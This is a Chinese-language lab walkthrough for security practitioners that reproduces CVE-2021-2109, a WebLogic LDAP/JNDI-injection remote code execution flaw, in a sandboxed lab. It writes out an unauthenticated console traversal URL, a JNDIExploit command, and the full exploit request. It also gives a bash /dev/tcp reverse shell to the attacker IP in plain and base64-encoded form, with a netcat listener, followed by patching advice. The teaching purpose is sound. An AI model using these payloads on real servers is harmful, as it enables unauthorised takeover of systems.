信息安全从业人员
计算机基础、计算机网络、Linux
预备知识
JNDI简介
JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。
Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP
漏洞编号:CVE-2021-2109
漏洞名称:WebLogic LDAP远程代码执行漏洞
漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。
影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0
漏洞等级:高危
通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理
PoC的构造链。
实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
攻击机:kali IP:10.1.1.110
任务描述:启动漏洞环境,判断漏洞是否存在。
靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:
注:7001是WebLogic的默认端口。
访问/console/css/%252e%252e%252f/consolejndi.portal:
注:如果没有立即显示,刷新页面即可。
如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
任务描述:启动LDAP,远程执行代码。
下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:
java -jar JNDIExploit.jar -i ip(攻击机地址)
配合WebLogic未授权漏洞进行代码执行:
/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)
注:LDAP服务器地址的第三个分割符号为;
另起一个终端,运行漏洞利用PoC:
注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
可以成功远程执行命令。
任务描述:利用漏洞反弹shell。
访问 http://www.jackson-t.ca/runtime-exec-payloads.html,
将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1
进行base64编码转换:
得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
在攻击机上运行nc-lvvp 6666命令监听6666端口:
将编码后的命令复制到cmd后面进行重放:
成功反弹回shell。
漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;
2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html
关闭 默认
分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw
调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg
参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html